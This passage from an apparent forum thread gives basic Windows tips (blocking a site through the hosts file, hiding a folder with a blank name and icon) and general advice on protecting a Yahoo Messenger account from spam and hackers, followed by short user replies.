5. Now, select Notepad to open the file from the list.
   
6. Now, in the file under the line 127.0.0.1 localhost add another line as 127.0.0.2 You must login or register to view this content..
   
7. File > Save.
   

Now, open your web browser and try opening You must login or register to view this content., it will not load.
To unblock sites just do the opposite.

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Make Folders Invisible without any softwares

Guys, as you can guess with this trick you can make your folders invisible without using any sophisticated software. This is a very unusual & easy trick to make your private folders invisible to others.

A folder contains two parts; an icon and a name.
So to make the folder invisible you will have to make both the icon & the name invisible.\

• Making The Name Invisible:
  
  
  
  • Select the folder which you want to make invisible. Press F2 key then type ALT+0160 and hit enter key. You will notice that the name of the folder has become invisible. See the snapshot below.
    
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• Making The Icon Invisible:
  
  
  
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    Right click on the folder whose name you made invisible. Go to Properties, then go to the Customize tab. Then click on the Change Icon button. Select any blank icon there. Remember there will be many blank icons (see snapshot). Just choose any one. Click OK.
    
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Your folder is now invisible! Now only you know where the folder is located.

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Tips to make your yahoo Messenger hack proof

• Avoid P2P file Sharing Through Yahoo! Messenger
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    Be it known or unknown, prefer not to receive any file from your friend unless you know what he is sharing and why. Avoid downloading .exe or .zip files from them as they are more likely to attack your computer or install trozans without you being aware of it. Never trust a stranger when he asks you to click on any site you haven't heard of.
    

• Avoid Clicking on Spammy Links:
  
  
  
  • f you were chatting with someone else and suddenly a PM box flashes on the screen with a lucrative offer/interesting site which has a spammy look, don't click on it. These websites have a lot of spyware who get silently installed if you go and surf them. Never download a toolbar unless its as authenticated as Yahoo!'s or Google's.
    

• Use Ignore Option Effectively:
  
  
  
  • Yahoo! has an ignore option that lets you ban a person or mark as spam so that he can't disturb you once again. Use that option effective. Go to Yahoo! Messenger main box -> Preferences -> Ignore List. If you want to avoid talking to strangers (which I always recommend)i.e. wanna talk to your buddies only, Check Ignore anyone.. option. That helps you be safe and block on the unwanted and potential hackers from reaching you. See the screen-shot below.
    
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• Use other Chat Clients:
  
  
  
  • Yahoo! Messenger has too many loopholes. It doesn't have a strong security to block contents either. So, if you want to get rid of spams and porn contents all under one go, then you should go for some popular and secure Yahoo! chat clients like Yazak. You can also go for Yah-Elite and Yam They may not have the same sophisticated GUI or entertainment features but they will increase the security of the chat sessions by many folds.
    
    
  • Here is a link that can help you with some more chat clients. I don't recommend any except these.
    

• Always Use Newer Versions of Yahoo! Messenger:
  
  
  
  • Remember, the more you stay with the older versions and feel lazy to get upgraded, the more you are helping the hackers. Yahoo! or any software, brings out these updates not only to extend features but also due to security reasons. A newer version of Yahoo! messenger 9 is hardly bootable by DoS attack whereas Yahoo! Messenger 7 can be booted out or hacked by a script kiddie.
    

• Don't download Yahoo! Plug-ins from Unauthorized Source:
  
  
  
  • Do not ever download a plug-in of Yahoo! messenger from any other site however lucrative it be. Plug-ins like these exploit the vulnerability once installed and send your account details to a third party revealing and cracking down your id. So, better be safe than sorry. No?
    

• Use Proxy if you have a Better Firewall:
  
  
  
  • Yahoo! also gives you option to change your proxy. Go to Preferences and hunt down Proxy servers. You will see that you can set your own proxy server so that Yahoo! gets redirected through yours giving you a better chance to protect yourself and secure by your network. But if only you have that faith on your network security. You can change it by going to Yahoo! Messenger main box -> Preferences -> Connection
    
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• Use Word Filter:
  
  
  
  • You can also use your word Filter in Yahoo! messenger. It just discards all the obscene or threatening words by intelligent filtering system if you choose Strong option. But be aware, there may be some times when your own friend can get banned while cursing your jokingly. Word filter is another good option to be within your network and not let some specifically targeted spammers to arrive. It increases security too. You can change it by going to Yahoo! Messenger main box -> Preferences -> Chat.
    
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• Be sure to Delete Your Profile after Chatting from a Public computer:
  
  
  
  • Most of the users don't know about it. Whenever you sign in to Yahoo! messenger, Yahoo! makes a profile of yours in the directory Yahoo! -> Messenger -> Profiles by the name of your Yahoo! id. There is an option by default at Yahoo! messenger that messages will be saved as long as you are signed in to your account for that session. A good hacker can have access to that file and decrypt it to learn your private conversations.
    
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  • What you must do if you are sharing a public computer to chat from is to change it by going to Yahoo! Messenger main box -> Preferences -> Archive. Change it to No, do not save any of my messages and you are done. Oh don't forget to delete your profile from Profiles inside Yahoo! folder after you sign out.
    

• Apply Your Common sense and Use a good Antivirus and anti Spyware software:
  
  
  
  • Applying your common sense is the least you can do to prevent your account from being hacked. A good anti-virus and anti-spyware always warns you about dangers that you may have overlooked. So its better to have them as well. If you implement the above 9 tips, you won't need to worry much I gues until you personally hand over your information to the person willing to crack your computer down.
    

Credits to Sync from another forum.

Nice actually found some intresting tips

hm some of these look like they are off another forum site i dont think i need to say which

gr8 topic man

added something new!

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I gave credit lol . That is pretty funny!

This is some interesting stuff i may have to use some of this to play pranks on my friends

who cares if he copied and pasted unless he didnt give credit u have done it like 1000 times